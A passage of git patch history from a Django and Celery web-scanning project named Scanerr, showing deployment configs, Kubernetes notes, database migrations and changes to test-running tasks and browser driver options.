+             python3 manage.py collectstatic --no-input &&
+             python3 manage.py create_admin &&
+             python3 manage.py driver_s_test &&
+             python3 manage.py driver_p_test && 
+             python3 manage.py runserver 0.0.0.0:8000"
+    env_file:
+      - ./env/.env.stage
+  
+  redis:
+    image: redis:alpine
+    ports:
+      - "6379"
+  
+  celery:
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    # image: landonr/scanerr-server
+    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.stage
+    depends_on:
+      - redis
+      - app
+
+volumes:
+  pgdata:
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index c53aa1fa..42928bfd 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,7 +109,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml`
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 821ced0c..5e213d38 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -44,13 +44,13 @@ spec:
             requests:
               cpu: "1"
               memory: "1Gi"
-          volumeMounts:
-           - mountPath: "/app/api/migrations"
-             name: app-volume
-      volumes:
-        - name: app-volume
-          persistentVolumeClaim:
-           claimName: app-pvc
+      #     volumeMounts:
+      #      - mountPath: "/app/api/migrations"
+      #        name: app-volume
+      # volumes:
+      #   - name: app-volume
+      #     persistentVolumeClaim:
+      #      claimName: app-pvc
 
 ---
 

From 2c6aeeb0e4e7f81995eb3d8a6e65c62001b651ba Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 21:34:14 -0500
Subject: [PATCH 060/752] testing

---
 app/api/migrations/0001_initial.py         |  2 +-
 app/api/migrations/0002_page_time_crawl.py | 18 ++++++++++++++++++
 app/api/models.py                          |  1 +
 k8s/kubernetes-notes.md                    | 10 +++++++++-
 4 files changed, 29 insertions(+), 2 deletions(-)
 create mode 100644 app/api/migrations/0002_page_time_crawl.py

diff --git a/app/api/migrations/0001_initial.py b/app/api/migrations/0001_initial.py
index aa1ee92a..15c7b4d9 100644
--- a/app/api/migrations/0001_initial.py
+++ b/app/api/migrations/0001_initial.py
@@ -1,4 +1,4 @@
-# Generated by Django 3.2.3 on 2023-07-27 01:50
+# Generated by Django 3.2.3 on 2023-07-27 02:28
 
 import api.models
 import datetime
diff --git a/app/api/migrations/0002_page_time_crawl.py b/app/api/migrations/0002_page_time_crawl.py
new file mode 100644
index 00000000..9de5f98a
--- /dev/null
+++ b/app/api/migrations/0002_page_time_crawl.py
@@ -0,0 +1,18 @@
+# Generated by Django 3.2.3 on 2023-07-27 02:32
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('api', '0001_initial'),
+    ]
+
+    operations = [
+        migrations.AddField(
+            model_name='page',
+            name='time_crawl',
+            field=models.DateTimeField(blank=True, null=True),
+        ),
+    ]
diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..939965e7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,6 +335,7 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 42928bfd..6625052e 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -106,10 +106,10 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 4. Spin up Scanerr deployments and services
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
@@ -138,3 +138,11 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
 
+
+
+---
+
+## Migration Notes for DB:
+1. Ensure state is where you want it to be (i.e. local migration files are what you expect) or delete any new migration files that were generated during development
+2. Spinup staging env locally
+3. Push new migration changes to github
\ No newline at end of file

From 66bb8820a861667d5f4bb842d052ff713979ada8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 21:51:42 -0500
Subject: [PATCH 061/752] model updates

---
 app/api/migrations/0001_initial.py         | 267 ---------------------
 app/api/migrations/0002_page_time_crawl.py |  18 --
 app/api/models.py                          |   1 -
 3 files changed, 286 deletions(-)
 delete mode 100644 app/api/migrations/0001_initial.py
 delete mode 100644 app/api/migrations/0002_page_time_crawl.py

diff --git a/app/api/migrations/0001_initial.py b/app/api/migrations/0001_initial.py
deleted file mode 100644
index 15c7b4d9..00000000
--- a/app/api/migrations/0001_initial.py
+++ /dev/null
@@ -1,267 +0,0 @@
-# Generated by Django 3.2.3 on 2023-07-27 02:28
-
-import api.models
-import datetime
-from django.conf import settings
-from django.db import migrations, models
-import django.db.models.deletion
-import django.utils.timezone
-import uuid
-
-
-class Migration(migrations.Migration):
-
-    initial = True
-
-    dependencies = [
-        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
-    ]
-
-    operations = [
-        migrations.CreateModel(
-            name='Account',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('active', models.BooleanField(default=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('type', models.CharField(blank=True, default='free', max_length=1000, null=True)),
-                ('code', models.CharField(blank=True, max_length=1000, null=True)),
-                ('max_sites', models.IntegerField(blank=True, default=1, null=True)),
-                ('max_pages', models.IntegerField(blank=True, default=25, null=True)),
-                ('cust_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('sub_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('product_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('price_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('price_amount', models.IntegerField(blank=True, default=0, null=True)),
-                ('slack', models.JSONField(blank=True, default=api.models.get_slack_default, null=True)),
-                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Automation',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('expressions', models.JSONField(blank=True, default=api.models.get_expressions_default, null=True)),
-                ('actions', models.JSONField(blank=True, default=api.models.get_actions_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Case',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('steps', models.JSONField(blank=True, default=api.models.get_steps_default, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Mask',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('active', models.BooleanField(default=True)),
-                ('mask_id', models.CharField(blank=True, max_length=1000, null=True)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Page',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('page_url', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('info', models.JSONField(blank=True, default=api.models.get_info_default, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Scan',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('type', models.JSONField(blank=True, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('html', models.TextField(blank=True, null=True)),
-                ('logs', models.JSONField(blank=True, null=True)),
-                ('images', models.JSONField(blank=True, null=True)),
-                ('lighthouse', models.JSONField(blank=True, default=api.models.get_lh_default, null=True)),
-                ('yellowlab', models.JSONField(blank=True, default=api.models.get_yl_default, null=True)),
-                ('configs', models.JSONField(blank=True, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('paired_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='api.scan')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Site',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('site_url', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_crawl_started', models.DateTimeField(blank=True, null=True)),
-                ('time_crawl_completed', models.DateTimeField(blank=True, null=True)),
-                ('info', models.JSONField(blank=True, default=api.models.get_small_info_default, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Testcase',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('case_name', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('passed', models.BooleanField(default=False)),
-                ('steps', models.JSONField(blank=True, null=True)),
-                ('configs', models.JSONField(blank=True, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('case', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.case')),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Test',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('type', models.JSONField(blank=True, null=True)),
-                ('score', models.FloatField(blank=True, null=True)),
-                ('component_scores', models.JSONField(blank=True, default=api.models.get_scores_default, null=True)),
-                ('html_delta', models.JSONField(blank=True, null=True)),
-                ('logs_delta', models.JSONField(blank=True, null=True)),
-                ('lighthouse_delta', models.JSONField(blank=True, default=api.models.get_lh_delta_default, null=True)),
-                ('yellowlab_delta', models.JSONField(blank=True, default=api.models.get_yl_delta_default, null=True)),
-                ('images_delta', models.JSONField(blank=True, null=True)),
-                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
-                ('pre_scan_configs', models.JSONField(blank=True, null=True)),
-                ('post_scan_configs', models.JSONField(blank=True, null=True)),
-                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('post_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='post_scan', to='api.scan')),
-                ('pre_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='pre_scan', to='api.scan')),
-                ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Schedule',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(blank=True, default=datetime.datetime.now, null=True)),
-                ('task_type', models.CharField(default='test', max_length=100)),
-                ('timezone', models.CharField(blank=True, max_length=100, null=True)),
-                ('begin_date', models.DateTimeField(default=datetime.datetime.now)),
-                ('time', models.CharField(blank=True, max_length=100, null=True)),
-                ('frequency', models.CharField(default='monthly', max_length=100)),
-                ('task', models.CharField(blank=True, max_length=500, null=True)),
-                ('crontab_id', models.CharField(blank=True, max_length=500, null=True)),
-                ('periodic_task_id', models.CharField(blank=True, max_length=500, null=True)),
-                ('status', models.CharField(blank=True, default='Active', max_length=100, null=True)),
-                ('extras', models.JSONField(blank=True, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('automation', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assoc_auto', to='api.automation')),
-                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.AddField(
-            model_name='scan',
-            name='site',
-            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
-        ),
-        migrations.CreateModel(
-            name='Report',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('path', models.CharField(blank=True, max_length=1000, null=True)),
-                ('type', models.JSONField(blank=True, null=True)),
-                ('info', models.JSONField(blank=True, null=True)),
-                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Process',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('type', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('time_completed', models.DateTimeField(blank=True, null=True)),
-                ('successful', models.BooleanField(default=False)),
-                ('info_url', models.CharField(blank=True, max_length=1000, null=True)),
-                ('progress', models.FloatField(blank=True, null=True)),
-                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
-            ],
-        ),
-        migrations.AddField(
-            model_name='page',
-            name='site',
-            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
-        ),
-        migrations.AddField(
-            model_name='page',
-            name='user',
-            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
-        ),
-        migrations.CreateModel(
-            name='Member',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('email', models.CharField(blank=True, max_length=1000, null=True)),
-                ('status', models.CharField(blank=True, max_length=1000, null=True)),
-                ('type', models.CharField(blank=True, max_length=1000, null=True)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Log',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
-                ('path', models.CharField(blank=True, max_length=1000, null=True)),
-                ('request_type', models.CharField(blank=True, max_length=1000, null=True)),
-                ('status', models.CharField(blank=True, max_length=1000, null=True)),
-                ('request_payload', models.JSONField(blank=True, null=True)),
-                ('response_payload', models.JSONField(blank=True, null=True)),
-                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.CreateModel(
-            name='Card',
-            fields=[
-                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
-                ('pay_method_id', models.CharField(blank=True, max_length=1000, null=True)),
-                ('brand', models.CharField(blank=True, max_length=1000, null=True)),
-                ('exp_month', models.CharField(blank=True, max_length=1000, null=True)),
-                ('exp_year', models.CharField(blank=True, max_length=1000, null=True)),
-                ('last_four', models.CharField(blank=True, max_length=1000, null=True)),
-                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
-                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
-            ],
-        ),
-        migrations.AddField(
-            model_name='automation',
-            name='schedule',
-            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='assoc_sch', to='api.schedule'),
-        ),
-        migrations.AddField(
-            model_name='automation',
-            name='user',
-            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
-        ),
-    ]
diff --git a/app/api/migrations/0002_page_time_crawl.py b/app/api/migrations/0002_page_time_crawl.py
deleted file mode 100644
index 9de5f98a..00000000
--- a/app/api/migrations/0002_page_time_crawl.py
+++ /dev/null
@@ -1,18 +0,0 @@
-# Generated by Django 3.2.3 on 2023-07-27 02:32
-
-from django.db import migrations, models
-
-
-class Migration(migrations.Migration):
-
-    dependencies = [
-        ('api', '0001_initial'),
-    ]
-
-    operations = [
-        migrations.AddField(
-            model_name='page',
-            name='time_crawl',
-            field=models.DateTimeField(blank=True, null=True),
-        ),
-    ]
diff --git a/app/api/models.py b/app/api/models.py
index 939965e7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,7 +335,6 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
-    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'

From 0eec4ce4e4383d4b7775ea29d716de9126c4bb91 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 22:22:48 -0500
Subject: [PATCH 062/752] fixing import bug

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 85b46e47..97c02e88 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -4,6 +4,7 @@
 from celery import shared_task
 from celery import Task as BaseTask
 from .utils.crawler import Crawler
+from .utils.scanner import Scanner as S
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, run_html_and_logs_task,
     run_vrt_task, run_lighthouse_task, run_yellowlab_task, 

From 81b190f9935766b2fcc9b5fe89e8f1599ad44322 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 13:06:06 -0500
Subject: [PATCH 063/752] fixed test bug

---
 app/api/tasks.py | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 97c02e88..23859262 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -280,10 +280,16 @@ def _create_test(
     created_test.pre_scan = pre_scan
     created_test.post_scan = post_scan
     created_test.save()
+    
+    # run tests
+    test = T(test=created_test).run_test(index=index)
+    if automation_id:
+        automation(automation_id, test.id)
     logger.info('Created new test of page')
 
 
 
+
 @shared_task
 def create_test_bg(*args, **kwargs):
     # get data
@@ -294,6 +300,8 @@ def create_test_bg(*args, **kwargs):
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
     automation_id = kwargs.get('automation_id')
+    pre_scan = kwargs.get('pre_scan')
+    post_scan = kwargs.get('post_scan')
 
     if test_id is None:
         if site_id is not None:
@@ -309,6 +317,8 @@ def create_test_bg(*args, **kwargs):
                 type=type,
                 configs=configs,
                 tags=tags,
+                pre_scan=pre_scan,
+                post_scan=post_scan,
                 automation_id=automation_id
             )
     
@@ -320,6 +330,8 @@ def create_test_bg(*args, **kwargs):
             type=type,
             configs=configs,
             tags=tags,
+            pre_scan=pre_scan,
+            post_scan=post_scan,
             automation_id=automation_id
         )
 

From d9e560888e17c7183ca23944bcf7fc9eeef86d82 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 16:03:08 -0500
Subject: [PATCH 064/752] fixed additional tester bug

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 23859262..042893ee 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,6 +5,7 @@
 from celery import Task as BaseTask
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
+from .utils.tester import Tester as T
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, run_html_and_logs_task,
     run_vrt_task, run_lighthouse_task, run_yellowlab_task, 

From da52808c26cbf7830f9b1857b5e5a195bb469df3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 17:55:29 -0500
Subject: [PATCH 065/752] decreased max celery replicas to 15

---
 k8s/prod/celery-autoscaler.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index fd908062..d2939968 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -7,7 +7,7 @@ spec:
     name: celery-deployment
   pollingInterval: 3
   minReplicaCount: 2
-  maxReplicaCount: 30
+  maxReplicaCount: 15
   triggers:
     - type: redis
       metadata:

From 712a457e67d9daa8e2a085e936f6fe08a581261c Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 27 Jul 2023 22:41:58 -0500
Subject: [PATCH 066/752] new "_full" page image scan & parallel testing

---
 app/api/tasks.py           |  67 +++++--
 app/api/utils/driver_p.py  |   1 +
 app/api/utils/driver_s.py  |   3 +-
 app/api/utils/image.py     | 398 ++++++++++++++++++++++++++++++++-----
 app/api/utils/scanner.py   |   4 +-
 app/api/v1/ops/services.py |   2 +
 6 files changed, 411 insertions(+), 64 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 042893ee..75433165 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -19,7 +19,7 @@
 from .utils.driver_p import driver_test
 from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio, boto3
+import asyncio, boto3, time
 from datetime import datetime, timedelta, date
 from scanerr import settings
 
@@ -150,7 +150,7 @@ def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
     if 'vrt' in scan.type or 'full' in scan.type:
         run_vrt_bg.delay(scan_id=scan.id)
 
-    logger.info('Added site and all pages')
+    logger.info('created new Scan of Page')
 
 
 
@@ -210,19 +210,16 @@ def run_html_and_logs_bg(scan_id=None, *args, **kwargs):
     run_html_and_logs_task(scan_id)
     logger.info('ran html & logs component')
 
-
 @shared_task
 def run_vrt_bg(scan_id=None, *args, **kwargs):
     run_vrt_task(scan_id)
     logger.info('ran vrt component')
 
-
 @shared_task
 def run_lighthouse_bg(scan_id=None, *args, **kwargs):
     run_lighthouse_task(scan_id)
     logger.info('ran lighthouse component')
 
-
 @shared_task
 def run_yellowlab_bg(scan_id=None, *args, **kwargs):
     run_yellowlab_task(scan_id)
@@ -231,6 +228,37 @@ def run_yellowlab_bg(scan_id=None, *args, **kwargs):
 
 
 
+@shared_task
+def run_test(test_id, *args, **kwargs):
+    automation_id = kwargs.get('automation_id')
+    test = Test.objects.get(id=test_id)
+    T(test=test).run_test()
+
+    test = T(test=test).run_test()
+    if automation_id:
+        automation(automation_id, test.id)
+    logger.info('Test completed')
+
+
+@shared_task
+def check_scan_for_test(test_id=None, max_wait_time=500, *args, **kwargs):
+    automation_id = kwargs.get('automation_id')
+    test = Test.objects.get(id=test_id)
+    post_scan_id = test.post_scan.id
+
+    current_time = 0
+    while current_time < max_wait_time:
+        post_scan = Scan.objects.get(id=post_scan_id)
+        time.sleep(5)
+        if post_scan.time_completed is not None:
+           run_test.delay(test_id=test.id, automation_id=automation_id)
+           current_time += 500
+
+        current_time += 5
+
+    logger.info('Scan complete, begining Test')
+
+
 @shared_task
 def _create_test(
         test_id=None,
@@ -262,13 +290,21 @@ def _create_test(
     if post_scan is not None:
         post_scan = Scan.objects.get(id=post_scan)
 
-    if post_scan is None and pre_scan is not None:
-        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
+    if post_scan is None or pre_scan is None:
+        if pre_scan is None:
+            pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+        post_scan = Scan.objects.create(
+            site=page.site,
+            page=page,
+            tags=tags, 
+            type=type,
+            configs=configs,
+        )
+        scan_page_bg.delay(
+            scan_id=post_scan.id, 
+            configs=configs,
+        )
         
-    if pre_scan is None and post_scan is None:
-        new_scan = S(site=page.site, page=page, configs=configs, type=type)
-        post_scan = new_scan.second_scan()
-        pre_scan = post_scan.paired_scan
 
     # updating parired scans
     pre_scan.paired_scan = post_scan
@@ -282,11 +318,10 @@ def _create_test(
     created_test.post_scan = post_scan
     created_test.save()
     
-    # run tests
-    test = T(test=created_test).run_test(index=index)
-    if automation_id:
-        automation(automation_id, test.id)
-    logger.info('Created new test of page')
+    # monitor post_scan and run test after completion
+    check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
+    
+    logger.info('Began Scan/Test process')
 
 
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index c9ccce82..a2cf4247 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -15,6 +15,7 @@ async def driver_init(
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
+            '--force-device-scale-factor=1',
             f'--window-size={window_size}',
         ],
         'defaultViewport': {
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 582c3b0e..9b041471 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,8 @@ def driver_init(
     options.add_argument("start-maximized")
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
-    options.add_argument("--window-size=%s" % window_size)
+    options.add_argument("--force-device-scale-factor=1")
+    options.add_argument("--window-size=%s" % window_size) 
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
